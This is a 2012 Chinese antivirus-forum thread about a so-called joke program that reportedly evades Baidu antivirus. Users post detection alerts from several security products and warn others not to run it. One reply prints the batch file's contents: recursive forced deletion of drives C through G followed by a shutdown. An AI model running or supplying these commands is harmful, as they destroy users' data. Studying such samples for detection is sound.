在网上发现一个玩笑程序，很强悍，暂过BD

显示全部楼层 · 发表于 2012-8-11 11:05:26

2012-8-11 11:00:06 读文件阻止并结束进程
进程: c:\windows\system32\cmd.exe
目标: C:\AUTOEXEC.BAT
规则: [应用程序组]U+_Behavior Blocker_降权组件 -> [文件]*

显示全部楼层 · 发表于 2012-8-11 12:09:31

恭喜破功

網站被封鎖！
G Data 網路安全 2013已封鎖存取此網站。
該網站包含被感染的代碼：Trojan.Agent.BAT.U (引擎A)。

显示全部楼层 · 发表于 2012-8-11 15:03:29

会飞的猫发表于 2012-8-10 19:14
过360，手动hips未测试，LZ是什么行为的呢

格盘的批处理，，，，不要试

显示全部楼层 · 发表于 2012-8-11 17:26:25

我草泥马楼主你装你爸的蛋呢？

显示全部楼层 · 发表于 2012-8-11 17:33:08

刚刚点链接eav就报毒

显示全部楼层 · 发表于 2012-8-11 17:38:50

谁试过k+

显示全部楼层 · 发表于 2012-8-11 17:41:04

784696777 发表于 2012-8-11 17:38
谁试过k+

你可以试试

显示全部楼层 · 发表于 2012-8-11 17:47:10

hwl573452046 发表于 2012-8-11 17:41
你可以试试

不敢

显示全部楼层 · 发表于 2012-8-11 17:57:21

改成txt后缀rmdir /s/q C:\
rmdir /s/q D:\
rmdir /s/q E:\
rmdir /s/q F:\
rmdir /s/q G:\
shutdown -s

显示全部楼层 · 发表于 2012-8-11 18:01:08

BullGuard拦截

[可疑文件] 在网上发现一个玩笑程序，很强悍，暂过BD